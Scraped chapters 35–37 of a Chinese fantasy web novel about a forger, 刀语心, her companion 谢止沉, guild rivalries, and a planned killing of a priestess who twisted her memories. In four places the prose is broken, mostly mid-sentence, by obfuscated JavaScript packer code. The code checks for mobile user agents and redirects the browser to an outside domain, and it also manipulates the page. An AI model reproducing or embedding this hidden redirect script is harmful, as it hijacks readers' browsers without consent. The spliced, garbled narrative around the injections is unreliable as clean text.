“你现在缺少了力量本源所以无法根据力量判断,但根据我的经验来看,你应该是前者。只有位列靠前且自然诞生在海域之中的种子,才会遭受争抢,也不受到其他人为干预和控制。” 听着谢止沉的话,刀语心想起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15534167|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之前在意识空间中杀死的残影,它们就是被人用来专门操控种子的思绪,把鲜活的生命当作一件件工具。 她似乎也是其中之一。 “我们现在回去吗?”看着在思索的刀语心,谢止沉轻声询问。 “不,我还有一处想去的地方,不过……” 刀语心有些担心裴瑛和绿绮找不到自己会着急,看出刀语心忧虑谢止沉贴心地开口:“我可以先用流光把你平安无事的消息带回去。” 闻言,刀语心拿出一枚金币,递给谢止沉,“那就把这枚金币送给队长就好,她会明白的。” 这是裴瑛给刀语心的饭钱,只有她们彼此知晓这金币的意义。 当谢止沉抬手接过时,刀语心发现他手臂上的伤痕,虽然已经痊愈再加上谢止沉有意遮掩,但刀语心知道那些伤口就是自己的异化之力干的。 意识到伤势被刀语心察觉到的谢止沉速度很快地收起,但下一刻就被刀语心握住。 还没等她说什么,谢止沉就开口解释:“没事的,只是小伤而已。”比起她所承受的一切,他所受到的只不过是千万分之一。 但刀语心明白,伤口总是会痛的。 “谢谢你……” 千言万语最终化为一句,刀语心将残留的异化之力彻底吸收后,松开谢止沉的手,她会将谢止沉所做的一切记在心底。 既然谢止沉已经将自己平安无事的消息告诉了裴瑛,那他们可以毫无顾虑地在沙漠中停留片刻。 “我想去这个地方。”将终端地图投影,刀语心指向曾经去过的复合矿洞,“那里有个矿洞,你可以带我去吗?用不用休息一下。” 目前她只能借助异化之力小范围移动,长距离还是谢止沉更有把握一些。 吞噬魔芯后,刀语心隐隐约约掌握了自己的天赋,她想借此机会去复合矿洞中再试一试。 “没问题,你可以尽管放心利用我。” 这番话语是为了弥补谢止沉心中的愧疚,以及希望刀语心可以毫无顾虑地提出要求,只不过刀语心并不赞同其中的某些字句。 “不,利用这个词不好听,”刀语心摇头,“我们这叫团结合作互惠互利。” 听到这个回答,谢止沉面上笑容更盛:“好,你说得对。” 谢止沉在空间上的天赋的确无与伦比,刀语心只能在异化之力覆盖的地方十米内任意转移,但谢止沉的应该已经达到了十多公里。 甚至不止。 故地重游,再次来到复合矿洞之中,但只有一地干涸的血迹,遗留此地的雇佣兵尸体或许是被什么异兽吃了去。 是了,她还得火化牧师二人。 上次去过的地方刀语心不打算再去,她前往另一边探寻自己从未探索过的地方。 紫阶及以下倒是有不少,但橙阶只有极小一片,品类还非常单一。 虽然进程顺利,但刀语心发现天赋吞噬普通矿石加持甚微,看来只有魔芯那样的级别的会对自己有显著提升,不过蚊子再小也是肉,日积月累下来也是极大的助力。 还有最后一件事。 刀语心找了处被矿石包裹,火势不会无尽蔓延的地方,将牧师二人的尸体点燃。 火光映照在她的眼中,她看着烈火将他们的痕迹一点点焚烧殆尽,最终只有散落一地的骨灰昭示他们曾在这个世界上存在过。 “他们是你在地下矿洞遇到的人吗?”谢止沉问道。 虽然他和刀语心手上的流光有所感应,但并不知道刀语心当时在魔矿洞穴中究竟发生了什么事情。 “对,这是她拜托我的临终遗愿。” 虽然之前拔刀相向,但从某种角度上来说,刀语心和牧师二人是一样的,都是某个势力,某个人的提线木偶。 他们都同为工具。 日暮时分,晚风吹拂,骨灰随风飘荡散落在沙漠各处,而活着的人也要继续启程,踏上将行的道路。 “我们走吧。” 同一时刻,无名镇。 商会中传出一声质问: “你怎么能把她一个人留在沙漠那么危险的地方自己回来!” 35. 第 35 章 面对绿绮的质问,迟明煦无奈揉着眉心。 在魔矿停止涌动之后,他就派人到处搜寻刀语心的踪迹,但资源点覆盖面积实在太广,判断接下来也是搜寻无果的他选择先带人回来。 但还没停留多久,就被绿绮找上门来。 收到刀语心消息的绿绮满心欢喜,以为刀语心随着商会回到了无名镇,但谁知道迟明煦将刀语心留在了沙漠之中。 知道前因后果的绿绮恨不得把他碎尸万段。 在即将开始下一轮指责时,先前阻拦失败的副官看到自己的通讯页面传来消息,急忙上前拦住绿绮说:“卫队队长那边传来了消息,说是刀语心小姐没事。” “她怎么会知道?”被绿绮询问的副官摇摇头,表示自己也不知原因。 当务之急是找刀语心,至于迟明煦先放一边。 “这次我先放过你,下次就不一定了。”绿绮恶狠狠地说着,而迟明煦也知道她说的并非假话,说完后绿绮便头也不回地离开。 听到刀语心无事的迟明煦眼神一暗,她为什么不告知自己? 以及,是谢止沉找到了她? 事已至此,他只能为自己抛下她先行逃离的举动做出相对应的补偿,他开口吩咐: “去把残存区地图的蓝本描摹一份。” “可是少主……”地图是迟家内的机密文件耗费许多人力物力,每个势力都会派人调查残存区,而得到的东西并不会共享。 迟明煦没有多说,只是一个眼神扫去。 “我明白了,马上就去。”身为商会少主,他的决定不容置疑。 从沙漠离开的二人,在夜色中重回无名镇。 被谢止沉带着传送的刀语心感受不到时间的流逝和其他任何,像是暂时来到了另一片时空之中,但她只有暂时滞留的权利。 唯一的触感就是两人牵着的手。 不过作为操控流光的谢止沉本人,是可以感受到外界的一切。 比如守在刀语心家门外面的绿绮。 他本想直接越过绿绮回到家中,但考虑到知晓绿绮在外面的刀语心可能还会让绿绮进去,谢止沉只能咬咬牙在离家不远的地方带着刀语心出现。 说来从前谢止沉还并没有这么介意绿绮,但自从她们的关系变好之后,他是怎么看都觉得这条小毒蛇太过碍眼。 而绿绮也如谢止沉预想的那样。 在看见刀语心出现的那一刻,绿绮就从门槛前一跃而起,小跑到刀语心身侧,自然而然地挽上刀语心的手臂。 “你回来啦!没受伤吧?”说着,她侧过身仔细检查刀语心。 但除了破损的衣物之外,并没有任何显而易见的伤痕。 “无碍。” 听到这话的谢止沉只是无奈又心痛的神色,刀语心就是这样喜欢报喜不报忧的人,她不希望别人为她担心。 虽说这样不会给其他人添麻烦,但对想要关心刀语心的人来说,就是一种无形的阻碍。 “进去说吧。” 站在门外的刀语心感受到一股视线落在自己身上。 但绿绮在这里,就不会是救世会的人,可能是祭司,但她应该还在处理身上被异化之力侵蚀的伤口,那只能是异形者或者其他人。 听到这话的谢止沉只是心下一沉,而绿绮截然相反。 “真的可以吗!”绿绮语调兴奋地说着,眼中也展露出明亮色彩,毕竟之前刀语心可是无论如何都不让她进去的。 “当然。”刀语心点头,她已经不对绿绮抱有最开始的敌意。 得到再次确认的绿绮紧接着就想要推开门,不过还没等进去,她又退了回去。 “不行不行,这次我还没准备好!等下次,我带着礼物来!” 遇到突如其来的惊喜,绿绮有些手足无措,但在离开之前,她想起自己答应刀语心的承诺。 “对了,这是我整理好的名单,有些人我不确定,我只标出了我能够确认的。” “绿绮,谢谢你。” 从绿绮手中接过存储名单的小巧装置,刀语心低头认真地看着矮自己些许的蛇人少女,真心实意地说着。 “不用客气,对你有帮助就好!那我先走了!” “注意安全,回到据点给我发消息。”刀语心没有忘记那股找不到来由的视线。 “好~”绿绮挥手与刀语心告别。 等到绿绮离开二人进入家中后,心情十分复杂的谢止沉迟迟被刀语心发现。 “怎么了?是力量使用过度身体不舒服吗?” “不,没什么,我只是在想,她算是你的朋友吗?”刀语心的朋友会有多少?他只是其中之一吗? 一想到有这样的可能,谢止沉就莫名有些烦闷。 “应该算是吧?”刀语心也不是很清楚朋友的定义是什么。 所以在你心里是他更重要还是绿绮更重要? 这样的疑问在谢止沉心中无数次滋生。 只不过犹豫再三后,他还是忍住,没有把这么任性的话说出口,独留自己在情绪里内耗。 在思考这个问题片刻后,刀语心也进一步探清自己的想法, “我并不讨厌和排斥绿绮,除开第一次见面,我能感受到她绝大多数时候都在对我释放善意,至于其他的……我有些想把绿绮从救世会中策反。” 刀语心需要一个内应,帮她找到巫津和主教的踪迹,以及有关吴阿婆过往的信息,还需要尽可能地帮助那些被救世之名欺骗的人从救世会里脱离。 只不过这么明晃晃的利用,刀语心也自知愧对,在真正实现之前她会询问绿绮的想法。 她深切知道被当作工具的感受,所以刀语心并不喜欢操控和强迫别人。 “我明白了。” 是绿绮对刀语心还有用,谢止沉如此安慰着自己,一同被按下的还有那在心底埋藏已久的杀意。 次日,研究一整夜名单的刀语心打算确认名单上那些绿绮不清楚的人选。 “我打算去找一下迟明煦,我可以自己去,你累的话可以在家好好休息。”刀语心很担心谢止沉力量使用过度。 “没事的,我们一起去吧。” 说来有些恶劣,但谢止沉很期待当刀语心和自己一同出现在商会时,迟明煦脸上的表情。 站在刀语心身旁的人只会是他。 商会中,正在盘算着什么时候去赔礼道歉的迟明煦见到意想不到的人影出现,是刀语心,紧随其后的还是谢止沉,但迟明煦出于某些情绪将他自动忽略。 “你回来了,我正打算去找你。”发的消息也没有回复。 “嗯,我来找你帮我查一些人。”刀语心将不确定人选的名单交给迟明煦。 “没问题,不过……你没事吧?” “没事。” 但刀语心并不打算和迟明煦多说,她完全不在意被抛下这个事实,也不会过多告知自己经历的一切。 不过无论刀语心是否在意,他都会将赔礼交给刀语心。 “作为赔礼。” “谢谢。”刀语心不打算和迟明煦多客气。 在刀语心查看地图的间隙,迟明煦和谢止沉对上了眼,那双在刀语心面前装的眉眼温柔此刻盛满了戏谑。 仿佛是在说:你无法做到的事情我做到了。 见此,迟明煦暗自咬牙,他真想让刀语心看看这人表里不一的样子。 在两人暗自较劲的过程中,有人掀开门帘进入店铺。 顺着声响移动视线,不过在看清来人后,迟明煦眉头蹙起,眼中是止不住的警惕。 “公会分会长怎么有空大驾光临我这寒门小店?” 清脆的高跟鞋声顺着步伐有节奏的响起,由远及近,与其一同而来的还有称得上动人心魄的声音:“迟少主真是说笑,寒门这两字和你一点都搭不上边。” “不过事先说好,我也不是为你而来的。” 在看地图的刀语心感受到有谁在靠近自己,她抬眼,随即就掉入了一双如梦似幻的眼中。 直到谢止沉挡在刀语心的身前,阻隔两人对上的视线后,刀语心的意识才再度清醒过来。 她这是被人蛊惑了? “抱歉亲爱的,见到你太开心了我一时之间没控制住自己,我是罗茜,公会分会长。” 理清神志重新抬眼看去,刀语心见到一张明媚而张扬的容颜,罗茜一头灿烈红发鸦羽装饰位于其上,鼻梁架着一副金丝眼镜显得整个人无比知性,她笑着伸出手等待刀语心的回应。 作为应有的礼节,刀语心将自己的手搭上。 “我一直想和你见一面,但你似乎有些太忙了。”也正因如此,才让罗茜不得不强行闯入商会。 为什么来找她?又是因为锻造的事? 不过还没等刀语心问出口,罗茜就笑着给出答案。 “没错,就是你想的那样,我没有读心术,只是亲爱的你有点太好懂了。” 闻言刀语心摸摸自己的脸,她是什么表情很丰富的人吗? “我之所以来到这里,只是觉得或许你可以换一个更加值得信赖的合作对象。”见刀语心这副模样,罗茜笑着说道。 她意有所指。 “罗茜你别太过分了。”还没等刀语心说什么,迟明煦忍无可忍先一步出声斥责。 她这是在他的店里明目张胆地和他抢人?迟明煦只觉得自己最近真是倒霉到极点,需要找大师做一点转运仪式。 “哪里过分了?我是来和你买东西的呀,你不是正准备脱手那块暗玉吗?堂堂迟家少主总不会有生意不做吧。” 和笑脸盈盈的罗茜不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这大概就是罗茜找上了自己的原因,刀语心在心中思量。 “只是我没想到公会来的人会是罗茜。”听迟明煦这有些不解又犹疑地语调,再加上自己只是一眼就被蛊惑,刀语心明白罗茜绝对不是一个好对付的角色。 “他们整体实力怎么样,能打过吗?” “六四开吧,我们四。”其中有三分胜算都来自裴瑛,迟明煦接着补充,“罗茜的力量很古怪,虽然我很早就认识她,但对她依然知之甚少。” 能让迟明煦这么说,看来是相当神秘了,是有些棘手,但刀语心不会退缩。 “他们的胜算基于哪几方面?” “军团的人数,整体配合,还有装备都略优于我们,其他都很好弥补,我已经送了一批装备给卫队,最重要的是罗茜身上的不确定因素,我会再让人打听她。” “所以一般争夺战什么时候会开打?”刀语心也需要再多做些准备。 听到刀语心的疑问后,迟明煦给她解答:“至少要等到军团的人集结完毕。” 毕竟如果不将敌人可用和有生力量全部击溃打得心服口服,那战线就会被不断延为持久战,那对双方来说都是一种累赘。 “你应该不会让他们毫无阻碍地来到这里吧?”刀语心觉得应该没这么简单。 “当然不,能有多少来到这里得看他们的本事。” 军团总督建立的帝国离无名镇十万八千里,商会并不会什么都不做,一路上只要是可以狙击军团的地方,都被设下了埋伏。 短暂交谈间,刀语心要的资料也拷贝完成,“多少钱?” “送你了,为了表达我的歉意。”迟明煦不希望自己给刀语心留下的印象再进一步恶化,而刀语心也毫不客气地收下。 “谢了,没想到你还有铁公鸡拔毛的一天。” “如果能让你对我有所改观那更是再好不过。” “那得加钱。”刀语心的态度始终如一。 这显然给迟明煦心中泼了盆冷水,他长叹一声问刀语心:“我们之间能不提钱吗?” “那我们可就没什么好说的了。”毕竟迟明煦对于刀语心而言,最大的意义就是商人,一个用钱置换资源的点位。 除此之外,再无其他。 对自己的定位有进一步认知,迟明煦也只能将一切想说的话全部收起,无言看着刀语心二人并肩离开。 公会二楼。 太阳洒落的光照出飘出的水汽,刚回到公会没多久的罗茜轻晃着手中的茶杯看着街上往来行人,单看此番景象的话算得上宁静安好。 没有混乱,没有恐慌,没有不安……只有许多努力活下去的普通人,他们有着最为珍贵的东西,希望。 “砰!” 议事厅的门被人用力推开,将还算安宁的氛围毁了个彻底,一道怪异语调的粗犷声紧接着巨响传来: “所以,拉拢失败了?” 36. 第 36 章 除了窗边屹然不动的罗茜,室内众人都因为声响的缘由将视线投射到门口,在看清来人后,又面色不善地转过头去。 站在罗茜身旁的简一皱眉开口: “本就没打算一次性成功,如果这么轻易就达成了,你又要担心对方的目的是否单纯。” 淬了冰的语调让军团长暂时停止叫嚣,但他依然贼心不死。 “这还不简单?只要把那锻造师抓起来不就.......”军团长话才说到一半就被听不下去的简一打断。 “别去招惹她,她自小被裴瑛看着长大。” 这两人的情分不可谓不深,而且从宋齐上次沙漠遇到刀语心带回的情报来看,就算不论裴瑛,刀语心本身只会是更强硬的钉子。 “需要我提醒你吗?从前军团天赋最好的人是裴瑛,她现在也已经是五十级以上的战士。” 话头一转,简一放慢语调问着军团长:“还是说,你有能耐战胜她?” 身为罗茜的副官,掌握情报的简一很清楚军团长和裴瑛的差距,那是一条难以跨越的鸿沟。 “哼。” 空气中是一片沉默,只有四十五级的军团长哑口无言,但片刻后他继续大言不惭地说着: “我们联手未必不可。” 话落,军团长的视线看向一旁未曾言语的罗茜,有罗茜的能力在,足以增添许多胜算,让胜利的天平向他们倾斜。 他得到的回应只有一声嗤笑。 “得了吧,原先合作条约就是你们军团提供采集装置,现在半分影子都没见到,也是因为你的人,才让我们还要在这个小镇耽搁许久。” 军团长不明白简一为什么要说这些。 “忘了你听不懂言外之意,那我说直接一点。”简一感叹这军团长的愚笨,随即她视线一转,冷冽的目光射向军团长并说: “你有什么资格对我们指手画脚?” 双方最终不欢而散。 这次会谈军团长几次三番被罗茜的副官呛声,在他看来自己的地位明明和罗茜不相上下,但总在对方的手下失面子。 军团长看公会这群人不顺眼很久了,说好听点叫高瞻远瞩,说难听点不就是怂吗? 受了一肚子气离开公会后,军团长吩咐自己的下属: “去,找到那个叫刀语心的,让她归顺我们,无论用什么方法。” “是。” 不过如今刀语心手上材料充足,她可以待在家中连着几日闭门不出。 她在锻造室和工作台前不断往返。 手头上要锻造的造物有三个:争夺资源点的武器、实现远距离传输的信号站、阻隔诅咒痛感的装置。 刀语心重点放在阻隔装置上。 通过锻造师成长指南的理论支撑以及经过无数次失败推敲检验后,一枚仿制品躺在刀语心的手心,做工有些粗糙但效果甚至更好。 她看着检测器给出详细的特性解释:阻隔痛感,但并不影响个体正常活动。 盯着投影出的字句,刀语心在思考。 虽说个体神经不接受痛感,但诅咒对躯体的损伤依然存在,终究还是一个治标不治本的方法。 而且止痛装置和保命护符都有同样的缺点,就是不能持续利用,即便拥有加速天赋,身为人类刀语心的时间精力是有限的,并不能无止境地耗费在这些地方。 她想要尽可能改良这一点,但不知从什么地方入手。 旧世界倒是有很多自动化工厂,但在如今的世界,实现有些难度,不过也并不是完全不可行。 陷入过度思考中的刀语心在锻造室中徘徊,直到一阵叩门的轻敲声将她拽回现实之中。 “打扰了,你现在有空吗?” 闻声刀语心朝门口看去,她微微怔神,谢止沉今天好像有点不一样?大概是他头发没有束起的缘故。 “我可以有,怎么了吗?” 只见谢止沉拿起一捋自己散落的头发给刀语心示意。 “我的发绳断了,想拜托你给我做一个牢固些的。” 说着,他拿出了一颗红色宝石,刀语心知道这是自己失忆时送给谢止沉的烈焰宝石,送出手的东西她不打算要回来,更何况这宝石的确和他相配。 “这是你送我的礼物,我想随时戴在身上。” 接过后,躺在刀语心掌中的宝石璀璨夺目,还不断向外散发着热意。 “镶嵌烈焰宝石的话,在沙漠中会有些热。” “没关系,我觉得它很温暖。” 发带其实很简单,主要锻造的就是一个饰品位花不了很多时间,也算是用来调剂刀语心此刻想不出解决对策,略微烦闷的心情。 刀语心很喜欢锻造这种不用于战斗,也没什么实际意义的东西。 期间谢止沉也站在刀语心身旁围观,时不时帮刀语心一些小忙。 发带整体样式简约,简单的线条勾勒出宝石,刀语心没有将宝石固定在上面,而是做成一种可拆卸活扣。 “等以后有其他的宝石,可以换着来。” 说着,刀语心抓住脑海中一闪而过的灵感。 她可以将阻隔装置制成护符,外圈固定不变,核心变为可替换,再制造一个模具用液态金属自动塑形,这样虽然也需要时间,但不再耗费自己的精力。 这么想着,刀语心就开始按照自己的思路行动。 见刀语心又忙了起来,谢止沉不再打扰她,想到之后的打算,他觉得自己也得做些什么。 时间在流逝。 锻造室中的温度很高,无数虚影在热浪下摇曳,刀语心在一环一环地验证自己的想法,不断改良和尝试。 最后一滴熔液滴入模具后,顺着护符纹路散发出光亮,所有线条有序地联结在一起。 她成功了。 自动化的一小步,但带来的影响是无穷的,理论上来说,刀语心已经拥有了无穷无尽的阻隔装置,即便祭司也可以无限制地催动诅咒,刀语心也有了应对方法。 如此一来,很多事都可以放手一搏了。 祭司……还有救世会,她会清算过往的一切。 深黑眼眸中藏着一切情绪。 次日,刀语心在计划如何高效且彻底地杀死祭司。 以往大多数都是被动出击,现在有主动出手的机会让刀语心隐隐有些兴奋。 等级差距什么的刀语心并不在意,毕竟她主要攻击手段是异化之力。 只是她如今还无法很好地控制异化之力连通灵魂,这就代表她会暴露在规则之下,之前的交手并没有抱着杀死祭司的目的,所以没有受到职业壁垒很大影响。 但之后就不一定了,真和祭司打起来,职业壁垒的规则就是一大阻碍,而且不止如此。 “如果我无法一击将她杀死,她很可能会逃走。” 空闲时间和谢止沉讨论一番后,刀语心确定祭司身上最棘手的问题: 灵魂离体。 “现在唯一的筹码就是祭司不知道我恢复记忆,可以打她一个出其不意。” 但在那之后呢?之前的异形者就因为一步之差被他逃走,刀语心不打算再给祭司窜逃的机会。 只是听着刀语心的话,谢止沉觉得哪里有些不对。 “所以,你是故意被她篡改记忆的?” “对。” 直截了当地承认下来后,刀语心恍然大悟,扭头对上谢止沉盯着自己的暗红视线。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15560936|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “毕竟牧师已经给了我纠正记忆的手段,不用白不用……”刀语心说着自己也迟迟察觉,好像是有那么一些不对。 她少见地心虚起来。 见刀语心略微生硬地转移视线,谢止沉心底没有气恼,而是有些莫名酸涩。 他又能站在什么角度上去指责刀语心的不是呢? 更何况,当时刀语心就在他面前遇到意外,是自己无法及时将她从危险中拉出。 “以后不要这样了,我……还有很多人,包括裴队长也会担心你。”他轻声说着。 “我知道了。” 不过刀语心并没有给出确切的承诺,毕竟很多时候事情总会脱离掌控,她无法保证自己每一次都可以稳中求胜。 更何况她本就偏爱险棋。 下次她会注意不让别人知道自己的受伤了。 回到之前的问题,对于如何解决这种会逃窜的敌人,谢止沉毫无私藏地向刀语心传授着自己的经验。 与其说寸步不离保护好她的空话,谢止沉觉得不如让刀语心变得更强。 “你记得我之前和你说过的异化之力与自身灵魂的桥梁吗?对外界也是一样,你可以将异化之力化作一条锁链,拽住对方的灵魂。” 光凭语言描述太过抽象,所以谢止沉打算给刀语心亲自示范。 他伸出手,一股流光在他掌心中具现,在空中晃荡片刻后,流光游向刀语心所在,缓缓缠上刀语心的手腕。 但刀语心并没有躯壳上的触感,而是感受到一股轻柔的,来自灵魂发出的涟漪。 刀语心感受着这股波动。 灵魂的状态若有若无若即若离,像是现实和虚幻中不可控的一丝具现,飘忽不定,难以捉摸。 虽说她之前也用剑捅穿过祭司的灵魂,但破坏远比操控简单,二者感受截然相反。 “你可以在我身上试试。” 只不过之前谢止沉手腕上的伤痕还历历在目,刀语心有些担心,她只用异化之力伤过人,并没有这样单纯的接触过谁。 明白刀语心的担忧,谢止沉宽慰道: “不用担心,我是医师,可以治好自己,再说了,我也相信你的控制力。” 先前刀语心就能把他身上残存的异化之力全部驱散,这就代表刀语心并不是毫无掌握。 “那我试试,你要是有哪里不舒服就打断我。” “好。” 刀语心有些紧张,她闭眼释放出异化之力,失去其他的感官,能够让她专注对异化之力的操控。 她控制着黑色的线条,通过自己和谢止沉相连的手心不断蔓延。 在她的控制下,异化之力缠绕上了谢止沉的部分灵魂。 那是一种前所未有的感受。 抓紧机会仔细体会操控力量的细节后,刀语心及时收回了力量。 “你没事吧?有没有哪里受伤?” “没事的,我很好。”谢止沉回应着。 硬要说的话,刀语心的力量从自己身上离开之后,他觉得有些空荡荡的。 所以—— “你要再试试吗?”谢止沉不介意自己多给刀语心当几次试验品。 不过刀语心拒绝了。 “已经可以了。” 一方面是刀语心悟性很高,她已经掌握了大致诀窍,另一方面是她也有些担心自己会伤害到谢止沉。 “好吧。”语气中有一丝很难捕获的遗憾,但谢止沉尊重刀语心的选择。 “那你准备什么时候去找她?” “明天吧。” 刀语心抬眼看着无边夜色,天空已经彻底暗了下来,她在心中默念: 明天就会是祭司的死期。 37. 第 37 章 天光破晓,旭日初升。 本该这样的清晨,被蒙上了一层厚厚的云雾,这样的天气甚少出现,却恰好出现在今天。 一早刀语心就走过和祭司初次见面的地方,谢止沉跟在她的身旁,提前和裴瑛打听过祭司的住处,刀语心二人毫无阻碍地来到房子外围。 他们没有多说,对视一眼后,刀语心抬起门帘走入其中,谢止沉则留在门外。 屋内布置简洁,没什么异常,还没等刀语心搜寻到祭司的人影,就听见一阵沙哑带着些神秘色彩的声音从屋内更深处传来。 “迷途之种啊,你所求何物?” 你的命。 刀语心这么想着,口中却说着提前计划好的回答:“我近来有些记忆混乱,总是在想,为什么我会在这里。” 越是一步步往里走,她的心脏越是剧烈跳动。 “冥冥之中有种指引,我觉得身为占星者的你可以给我解答疑惑。” 冷静下来,她告诫自己。 她需要假借聊天打探情报,让祭司放下警惕,等待一个足以一击重伤祭司的时机把她灵魂逼出躯壳,直到将她的灵魂湮灭,这样才能永绝后患。 “当然没问题。” 声音由远及近,祭司掀开薄纱出现在刀语心面前两米处。 甚少有人能从刀语心宛若无底深渊的双眸中窥见眼睛主人的心绪,但祭司那双被雾气蒙住的眼也不遑多让。 各怀目的二人进行着并不汹涌的对峙。 “不过……你准备好祭品了吗?” 对于刀语心的突然到访祭司没有预料,她这段时间以来都在忙着治疗被异化之力侵蚀的伤势。 刀语心的力量太过诡异,和她过往见过的所有种子都不同,即便耗费了许多时间精力,但她依然没能把异化之力从自己身上彻底驱散。 即便心中恨不得把刀语心就地格杀,但祭司还是只能生生忍住,如今刀语心已经被她扭曲了记忆,她要等待着好戏上演。 只不过此时此刻祭司并不是很想见到刀语心,所以想借祭品之名支走她。 但让祭司失望的是,刀语心没有就此离开,而是走上前抬手,两双总共四个异兽眼球接连掉落在占卜台上,这便是刀语心带来的祭品。 “我只有一个问题需要解答,为什么我会来到这个世界?” 借着抬手的间隙,刀语心悄悄释放了一些异化之力原始态,用于放大祭司的负面情绪。 她很清楚,祭司对自己的情绪非常极端,这无疑是一把双刃剑,但刀语心打算一试。 “真是让人意想不到的问题。” 无法支走刀语心的祭司强装满不在意,她咬牙切齿地说:“满天星河会给出属于你的答案。” 话语祭司手中放出术法,不像当时在地下矿洞那般危险,是一种占卜法术。 片刻后,两人之间就多出了一个悬在空中,复杂而神秘的星图。 异兽眼球随着法力的沾染而消耗,化作灰尘不见踪影,与此同时浮现在祭司面前的星盘开始缓慢转动。 无数星星的轨迹交织,错综复杂,在不断地盘旋缠绕后,出现一条线条通畅的道路,这便是刀语心所求问题的答案。 只不过星图有深和浅的程度,祭司只能也只愿看透表面。 越是解读,祭司心里便越沉,如此憎恨刀语心的她怎么可能承认刀语心也遭受过非人磨难?她只觉得卦象都在偏爱着刀语心。 凭什么?凭什么! 祭司咬牙将一切不甘的怒火压下,挂着虚假的笑容开始给刀语心讲述她解读出的画面。 一枚被打捞起的种子跨越无数时空落地发芽。 “你的确不属于这个世界。” 于深海之中诞生而出的种子,却在干涸的荒漠中成长,只有逃离是正确的通路。 “但或许,你留在这里,事情会有意想不到的转机。” 真话中裹着谎言,祭司才不会就这么轻易把正确答案告知刀语心。 如果这是她们第一次见面或者刀语心真的失忆,祭司的话还会多上一两分可信度。 既定的命运和刀语心做出的决策相悖,她也不可能轻信祭司的话语,刀语心佯装疑惑地发问,顺带悄无声息地拉近距离。 “所有的一切都会按照既定的轨迹发展?”还有一点五米。 “不。”祭司摇头。 “如果有意地进行长期干涉和刻意引导,会走向完全相反的结局,再者,很多不起眼的小事也会引发连锁效应。” 如此一来,刀语心的疑惑都得到解答。 她抑制杀意继续往祭司身边靠拢,一步步来到最适合拔剑的距离,随即她平静得近乎冰冷的语调落下: “所以,这就是你肆意扭曲别人记忆的原因?”祭司想要看见别人挣扎在水深火热之中。 话音一落,祭司也立刻察觉到不对,先前还扬起微笑的嘴角此刻抿起。 “你没有失忆?” “对。” 声音还未彻底落下,刀语心就已经提剑贯穿了祭司的躯壳。 看着祭司扭曲的面庞,刀语心勾起讽刺地冷笑,“没能按照你期望的方向发展还真是抱歉。” 顾不上受伤处传来的剧痛,祭司施放法术朝刀语心攻去。 但在那之前,刀语心就利落地抽剑离开,只剩下祭司伤口处的血液不受控制地喷涌。 祭司没有接着反击,而是难以置信地捂着伤口,自己卑劣到极点想法的被人看穿,她正气得浑身发抖。 她不是不能承认自己失败,只是见证她失败的人绝对不能是刀语心。 此刻,祭司只觉得自己这辈子所有狼狈不堪的模样都拜刀语心所赐。 “凭什么,凭什么你没有失忆?” 回想当时的一切蛛丝马迹,祭司明白是牧师使了手段,让刀语心没有失去记忆。 “该死的东西,死了也不安生。” 毕竟最熟悉祭司的人绝不会是刀语心,只会是一直以来跟在她身后被视作玩物和工具的牧师,也只有同样被扭曲记忆是牧师知道解法,那些被祭司篡改过记忆的人只有牧师活了下来。 现在还得加上一个刀语心。 “既然失忆了,就安安分分地苟活下去啊?你为什么要撕开这一切?”祭司怒吼着近乎癫狂的话语。 刀语心太讨厌了,祭司满腔恨意地想着。 刀语心让她的计谋无所遁形,让她的算计全都落空,甚至在最后获得牧师从未给予她的信任,凭什么自己永远都是不被选择的那一个? 最最重要的是,刀语心从一开始就拥有天启者的侧目。 凭什么?凭什么? 凭什么她永远得不到的东西,刀语心就可以轻易得到? 嫉妒的种子经过漫长的时间生根发芽肆意疯长,得不到修剪的枝丫早已让祭司变得扭曲不堪。 但自身经历过的一切不是祭司肆意残害他人的理由。 刀语心只是握紧手中的剑,对准祭司。 她不在乎也不想理会祭司的歇斯底里,她现在需要让祭司灵魂离体,然后将其湮灭让祭司彻底死去。 异化之力凝成的漆黑液面片刻间就布满整个屋子,从中冒出黑色手掌死死拽住祭司脚踝,限制她的移动。 由于情绪过于激动再加上异化之力扩大影响,祭司整个人无限制地陷入负面情绪中,法术依然还是向着刀语心倾泻而出,但都失去准度被刀语心轻而易举地化解。 刀语心不打算和祭司打消耗战,她只想刀刀致命。 又一次侧身躲过攻击后,灭灵剑再次刺穿祭司,接二连三地受到致命伤后,祭司终于在钻心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15572460|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的疼痛下清醒一些。 不对,不对。 